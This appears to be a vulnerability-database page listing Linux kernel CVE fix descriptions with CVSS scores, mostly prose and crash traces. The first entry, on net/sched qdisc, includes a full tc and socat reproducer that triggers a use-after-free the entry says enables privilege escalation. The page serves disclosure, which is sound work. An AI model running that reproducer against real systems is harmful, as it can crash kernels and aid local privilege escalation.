Linux: >> Linux Kernel >> 6.1.127 Security Vulnerabilities
In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script
Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr
step3. a class for nesting
tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr
step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7.
tc class add dev lo classid 3:1 drr
step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".
Joint work with Lion Ackermann <nnamrec@gmail.com>
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-13
In the Linux kernel, the following vulnerability has been resolved:
gfs2: Truncate address space when flipping GFS2_DIF_JDATA flag
Truncate an inode's address space when flipping the GFS2_DIF_JDATA flag:
depending on that flag, the pages in the address space will either use
buffer heads or iomap_folio_state structs, and we cannot mix the two.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-12
In the Linux kernel, the following vulnerability has been resolved:
mm: clear uffd-wp PTE/PMD state on mremap()
When mremap()ing a memory region previously registered with userfaultfd as
write-protected but without UFFD_FEATURE_EVENT_REMAP, an inconsistency in
flag clearing leads to a mismatch between the vma flags (which have
uffd-wp cleared) and the pte/pmd flags (which do not have uffd-wp
cleared). This mismatch causes a subsequent mprotect(PROT_WRITE) to
trigger a warning in page_table_check_pte_flags() due to setting the pte
to writable while uffd-wp is still set.
Fix this by always explicitly clearing the uffd-wp pte/pmd flags on any
such mremap() so that the values are consistent with the existing clearing
of VM_UFFD_WP. Be careful to clear the logical flag regardless of its
physical form; a PTE bit, a swap PTE bit, or a PTE marker. Cover PTE,
huge PMD and hugetlb paths.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-12
In the Linux kernel, the following vulnerability has been resolved:
vfio/platform: check the bounds of read/write syscalls
count and offset are passed from user space and not checked, only
offset is capped to 40 bits, which can be used to read/write out of
bounds of the device.
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
drm/v3d: Assign job pointer to NULL before signaling the fence
In commit e4b5ccd392b9 ("drm/v3d: Ensure job pointer is set to NULL
after job completion"), we introduced a change to assign the job pointer
to NULL after completing a job, indicating job completion.
However, this approach created a race condition between the DRM
scheduler workqueue and the IRQ execution thread. As soon as the fence is
signaled in the IRQ execution thread, a new job starts to be executed.
This results in a race condition where the IRQ execution thread sets the
job pointer to NULL simultaneously as the `run_job()` function assigns
a new job to the pointer.
This race condition can lead to a NULL pointer dereference if the IRQ
execution thread sets the job pointer to NULL after `run_job()` assigns
it to the new job. When the new job completes and the GPU emits an
interrupt, `v3d_irq()` is triggered, potentially causing a crash.
[ 466.310099] Unable to handle kernel NULL pointer dereference at virtual address 00000000000000c0
[ 466.318928] Mem abort info:
[ 466.321723] ESR = 0x0000000096000005
[ 466.325479] EC = 0x25: DABT (current EL), IL = 32 bits
[ 466.330807] SET = 0, FnV = 0
[ 466.333864] EA = 0, S1PTW = 0
[ 466.337010] FSC = 0x05: level 1 translation fault
[ 466.341900] Data abort info:
[ 466.344783] ISV = 0, ISS = 0x00000005, ISS2 = 0x00000000
[ 466.350285] CM = 0, WnR = 0, TnD = 0, TagAccess = 0
[ 466.355350] GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0
[ 466.360677] user pgtable: 4k pages, 39-bit VAs, pgdp=0000000089772000
[ 466.367140] [00000000000000c0] pgd=0000000000000000, p4d=0000000000000000, pud=0000000000000000
[ 466.375875] Internal error: Oops: 0000000096000005 [#1] PREEMPT SMP
[ 466.382163] Modules linked in: rfcomm snd_seq_dummy snd_hrtimer snd_seq snd_seq_device algif_hash algif_skcipher af_alg bnep binfmt_misc vc4 snd_soc_hdmi_codec drm_display_helper cec brcmfmac_wcc spidev rpivid_hevc(C) drm_client_lib brcmfmac hci_uart drm_dma_helper pisp_be btbcm brcmutil snd_soc_core aes_ce_blk v4l2_mem2mem bluetooth aes_ce_cipher snd_compress videobuf2_dma_contig ghash_ce cfg80211 gf128mul snd_pcm_dmaengine videobuf2_memops ecdh_generic sha2_ce ecc videobuf2_v4l2 snd_pcm v3d sha256_arm64 rfkill videodev snd_timer sha1_ce libaes gpu_sched snd videobuf2_common sha1_generic drm_shmem_helper mc rp1_pio drm_kms_helper raspberrypi_hwmon spi_bcm2835 gpio_keys i2c_brcmstb rp1 raspberrypi_gpiomem rp1_mailbox rp1_adc nvmem_rmem uio_pdrv_genirq uio i2c_dev drm ledtrig_pattern drm_panel_orientation_quirks backlight fuse dm_mod ip_tables x_tables ipv6
[ 466.458429] CPU: 0 UID: 1000 PID: 2008 Comm: chromium Tainted: G C 6.13.0-v8+ #18
[ 466.467336] Tainted: [C]=CRAP
[ 466.470306] Hardware name: Raspberry Pi 5 Model B Rev 1.0 (DT)
[ 466.476157] pstate: 404000c9 (nZcv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[ 466.483143] pc : v3d_irq+0x118/0x2e0 [v3d]
[ 466.487258] lr : __handle_irq_event_percpu+0x60/0x228
[ 466.492327] sp : ffffffc080003ea0
[ 466.495646] x29: ffffffc080003ea0 x28: ffffff80c0c94200 x27: 0000000000000000
[ 466.502807] x26: ffffffd08dd81d7b x25: ffffff80c0c94200 x24: ffffff8003bdc200
[ 466.509969] x23: 0000000000000001 x22: 00000000000000a7 x21: 0000000000000000
[ 466.517130] x20: ffffff8041bb0000 x19: 0000000000000001 x18: 0000000000000000
[ 466.524291] x17: ffffffafadfb0000 x16: ffffffc080000000 x15: 0000000000000000
[ 466.531452] x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000
[ 466.538613] x11: 0000000000000000 x10: 0000000000000000 x9 : ffffffd08c527eb0
[ 466.545777] x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000
[ 466.552941] x5 : ffffffd08c4100d0 x4 : ffffffafadfb0000 x3 : ffffffc080003f70
[ 466.560102] x2 : ffffffc0829e8058 x1 : 0000000000000001 x0 : 0000000000000000
[ 466.567263] Call trace:
[ 466.569711] v3d_irq+0x118/0x2e0 [v3d] (P)
[ 466.
---truncated---
CVSS Score
4.7
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
USB: serial: quatech2: fix null-ptr-deref in qt2_process_read_urb()
This patch addresses a null-ptr-deref in qt2_process_read_urb() due to
an incorrect bounds check in the following:
if (newport > serial->num_ports) {
dev_err(&port->dev,
"%s - port change to invalid port: %i\n",
__func__, newport);
break;
}
The condition doesn't account for the valid range of the serial->port
buffer, which is from 0 to serial->num_ports - 1. When newport is equal
to serial->num_ports, the assignment of "port" in the
following code is out-of-bounds and NULL:
serial_priv->current_port = newport;
port = serial->port[serial_priv->current_port];
The fix checks if newport is greater than or equal to serial->num_ports
indicating it is out-of-bounds.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
scsi: storvsc: Ratelimit warning logs to prevent VM denial of service
If there's a persistent error in the hypervisor, the SCSI warning for
failed I/O can flood the kernel log and max out CPU utilization,
preventing troubleshooting from the VM side. Ratelimit the warning so
it doesn't DoS the VM.
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
net: sched: fix ets qdisc OOB Indexing
Haowei Yan <g1042620637@gmail.com> found that ets_class_from_arg() can
index an Out-Of-Bound class in ets_class_from_arg() when passed clid of
0. The overflow may cause local privilege escalation.
[ 18.852298] ------------[ cut here ]------------
[ 18.853271] UBSAN: array-index-out-of-bounds in net/sched/sch_ets.c:93:20
[ 18.853743] index 18446744073709551615 is out of range for type 'ets_class [16]'
[ 18.854254] CPU: 0 UID: 0 PID: 1275 Comm: poc Not tainted 6.12.6-dirty #17
[ 18.854821] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 18.856532] Call Trace:
[ 18.857441] <TASK>
[ 18.858227] dump_stack_lvl+0xc2/0xf0
[ 18.859607] dump_stack+0x10/0x20
[ 18.860908] __ubsan_handle_out_of_bounds+0xa7/0xf0
[ 18.864022] ets_class_change+0x3d6/0x3f0
[ 18.864322] tc_ctl_tclass+0x251/0x910
[ 18.864587] ? lock_acquire+0x5e/0x140
[ 18.865113] ? __mutex_lock+0x9c/0xe70
[ 18.866009] ? __mutex_lock+0xa34/0xe70
[ 18.866401] rtnetlink_rcv_msg+0x170/0x6f0
[ 18.866806] ? __lock_acquire+0x578/0xc10
[ 18.867184] ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[ 18.867503] netlink_rcv_skb+0x59/0x110
[ 18.867776] rtnetlink_rcv+0x15/0x30
[ 18.868159] netlink_unicast+0x1c3/0x2b0
[ 18.868440] netlink_sendmsg+0x239/0x4b0
[ 18.868721] ____sys_sendmsg+0x3e2/0x410
[ 18.869012] ___sys_sendmsg+0x88/0xe0
[ 18.869276] ? rseq_ip_fixup+0x198/0x260
[ 18.869563] ? rseq_update_cpu_node_id+0x10a/0x190
[ 18.869900] ? trace_hardirqs_off+0x5a/0xd0
[ 18.870196] ? syscall_exit_to_user_mode+0xcc/0x220
[ 18.870547] ? do_syscall_64+0x93/0x150
[ 18.870821] ? __memcg_slab_free_hook+0x69/0x290
[ 18.871157] __sys_sendmsg+0x69/0xd0
[ 18.871416] __x64_sys_sendmsg+0x1d/0x30
[ 18.871699] x64_sys_call+0x9e2/0x2670
[ 18.871979] do_syscall_64+0x87/0x150
[ 18.873280] ? do_syscall_64+0x93/0x150
[ 18.874742] ? lock_release+0x7b/0x160
[ 18.876157] ? do_user_addr_fault+0x5ce/0x8f0
[ 18.877833] ? irqentry_exit_to_user_mode+0xc2/0x210
[ 18.879608] ? irqentry_exit+0x77/0xb0
[ 18.879808] ? clear_bhb_loop+0x15/0x70
[ 18.880023] ? clear_bhb_loop+0x15/0x70
[ 18.880223] ? clear_bhb_loop+0x15/0x70
[ 18.880426] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 18.880683] RIP: 0033:0x44a957
[ 18.880851] Code: ff ff e8 fc 00 00 00 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 8974 24 10
[ 18.881766] RSP: 002b:00007ffcdd00fad8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[ 18.882149] RAX: ffffffffffffffda RBX: 00007ffcdd010db8 RCX: 000000000044a957
[ 18.882507] RDX: 0000000000000000 RSI: 00007ffcdd00fb70 RDI: 0000000000000003
[ 18.885037] RBP: 00007ffcdd010bc0 R08: 000000000703c770 R09: 000000000703c7c0
[ 18.887203] R10: 0000000000000080 R11: 0000000000000246 R12: 0000000000000001
[ 18.888026] R13: 00007ffcdd010da8 R14: 00000000004ca7d0 R15: 0000000000000001
[ 18.888395] </TASK>
[ 18.888610] ---[ end trace ]---
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
mm: zswap: properly synchronize freeing resources during CPU hotunplug
In zswap_compress() and zswap_decompress(), the per-CPU acomp_ctx of the
current CPU at the beginning of the operation is retrieved and used
throughout. However, since neither preemption nor migration are disabled,
it is possible that the operation continues on a different CPU.
If the original CPU is hotunplugged while the acomp_ctx is still in use,
we run into a UAF bug as some of the resources attached to the acomp_ctx
are freed during hotunplug in zswap_cpu_comp_dead() (i.e.
acomp_ctx.buffer, acomp_ctx.req, or acomp_ctx.acomp).
The problem was introduced in commit 1ec3b5fe6eec ("mm/zswap: move to use
crypto_acomp API for hardware acceleration") when the switch to the
crypto_acomp API was made. Prior to that, the per-CPU crypto_comp was
retrieved using get_cpu_ptr() which disables preemption and makes sure the
CPU cannot go away from under us. Preemption cannot be disabled with the
crypto_acomp API as a sleepable context is needed.
Use the acomp_ctx.mutex to synchronize CPU hotplug callbacks allocating
and freeing resources with compression/decompression paths. Make sure
that acomp_ctx.req is NULL when the resources are freed. In the
compression/decompression paths, check if acomp_ctx.req is NULL after
acquiring the mutex (meaning the CPU was offlined) and retry on the new
CPU.
The initialization of acomp_ctx.mutex is moved from the CPU hotplug
callback to the pool initialization where it belongs (where the mutex is
allocated). In addition to adding clarity, this makes sure that CPU
hotplug cannot reinitialize a mutex that is already locked by
compression/decompression.
Previously a fix was attempted by holding cpus_read_lock() [1]. This
would have caused a potential deadlock as it is possible for code already
holding the lock to fall into reclaim and enter zswap (causing a
deadlock). A fix was also attempted using SRCU for synchronization, but
Johannes pointed out that synchronize_srcu() cannot be used in CPU hotplug
notifiers [2].
Alternative fixes that were considered/attempted and could have worked:
- Refcounting the per-CPU acomp_ctx. This involves complexity in
handling the race between the refcount dropping to zero in
zswap_[de]compress() and the refcount being re-initialized when the
CPU is onlined.
- Disabling migration before getting the per-CPU acomp_ctx [3], but
that's discouraged and is a much bigger hammer than needed, and could
result in subtle performance issues.
[1]https://lkml.kernel.org/20241219212437.2714151-1-yosryahmed@google.com/
[2]https://lkml.kernel.org/20250107074724.1756696-2-yosryahmed@google.com/
[3]https://lkml.kernel.org/20250107222236.2715883-2-yosryahmed@google.com/
[yosryahmed@google.com: remove comment]
CVSS Score
7.8
EPSS Score
0.0
Published
2025-02-10
In the Linux kernel, the following vulnerability has been resolved:
drm/amd/display: Initialize denominator defaults to 1
[WHAT & HOW]
Variables, used as denominators and maybe not assigned to other values,
should be initialized to non-zero to avoid DIVIDE_BY_ZERO, as reported
by Coverity.
(cherry picked from commit e2c4c6c10542ccfe4a0830bb6c9fd5b177b7bbb7)
CVSS Score
5.5
EPSS Score
0.0
Published
2025-02-10